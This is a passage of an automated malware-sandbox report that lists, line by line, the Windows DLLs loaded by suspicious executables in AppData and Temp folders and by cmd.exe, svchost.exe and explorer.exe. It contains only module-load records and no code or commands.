                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: pcacli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: dbghelp.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: pla.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: pdh.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: tdh.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: cabinet.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: wevtapi.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: shdocvw.dllJump to behavior
                    Source: C:\Users\user\pyexec.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: dbghelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: pla.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: pdh.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: tdh.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: cabinet.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: wevtapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: shdocvw.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: <pi-ms-win-core-localization-l1-2-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: dxgidebug.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: sfc_os.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: dwmapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: riched20.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: usp10.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: msls31.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: windowscodecs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: textshaping.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: textinputframework.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: coreuicomponents.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: thumbcache.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: policymanager.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: msvcp110_win.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: mrmcorer.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: pcacli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: winbrand.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: linkinfo.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntshrui.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cscapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: bitsproxy.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: <pi-ms-win-core-synch-l1-2-0.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: <pi-ms-win-core-fibers-l1-1-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: <pi-ms-win-core-localization-l1-2-1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: dxgidebug.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: sfc_os.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: dwmapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: riched20.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: usp10.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: msls31.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: windowscodecs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: textshaping.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: textinputframework.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: coreuicomponents.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: coremessaging.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: pcacli.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Users\user\Virtual.exeSection loaded: apphelp.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: powrprof.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: newdev.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: vboxddu.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: vboxrt.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: msvcr100.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: msvcp100.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: iphlpapi.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: devobj.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: devrtl.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: msvcr100.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: vboxrt.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: msvcr100.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: msvcp100.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: umpdc.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: dbghelp.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: pla.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: pdh.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: tdh.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: cabinet.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: wevtapi.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: shdocvw.dll
                    Source: C:\Users\user\Virtual.exeSection loaded: ntmarta.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
                    Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: apphelp.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: powrprof.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: newdev.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: vboxddu.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: vboxrt.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: msvcr100.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: msvcp100.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: iphlpapi.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: devobj.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: devrtl.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: msvcr100.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: vboxrt.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: msvcr100.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: msvcp100.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: umpdc.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: dbghelp.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: pla.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: pdh.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: tdh.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: cabinet.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: wevtapi.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: shdocvw.dll
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: winhttp.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: winbrand.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: apphelp.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: shdocvw.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: cryptsp.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: winhttp.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: windows.storage.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: wldp.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: profapi.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: mswsock.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: iphlpapi.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: winnsi.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: dhcpcsvc6.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: dhcpcsvc.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: webio.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: sspicli.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: dnsapi.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: rasadhlp.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: fwpuclnt.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: schannel.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: mskeyprotect.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ntasn1.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ncrypt.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ncryptsslp.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: msasn1.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: rsaenh.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: cryptbase.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: gpapi.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: dpapi.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: uxtheme.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: windowscodecs.dll
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Windows\explorer.exeSection loaded: shdocvw.dll
                    Source: C:\Windows\explorer.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\explorer.exeSection loaded: winhttp.dll
                    Source: C:\Windows\explorer.exeSection loaded: wtsapi32.dll
                    Source: C:\Windows\explorer.exeSection loaded: msi.dll
                    Source: C:\Windows\explorer.exeSection loaded: winmm.dll
                    Source: C:\Windows\explorer.exeSection loaded: dbghelp.dll
                    Source: C:\Windows\explorer.exeSection loaded: dbgcore.dll
                    Source: C:\Windows\explorer.exeSection loaded: secur32.dll
                    Source: C:\Windows\explorer.exeSection loaded: sspicli.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: dbghelp.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: pla.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: pdh.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: tdh.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: cabinet.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: wevtapi.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: shdocvw.dll
                    Source: C:\Users\user\pyexec.exeSection loaded: ntmarta.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: dbghelp.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: pla.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: pdh.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: tdh.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: cabinet.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: wevtapi.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: shdocvw.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: winhttp.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: winbrand.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: msftedit.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: comsvcs.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cryptsp.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: rsaenh.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmlua.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmutil.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: version.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: dbghelp.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: pla.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: pdh.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: tdh.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: cabinet.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: wevtapi.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: shdocvw.dll
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: winhttp.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: winbrand.dll
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dll
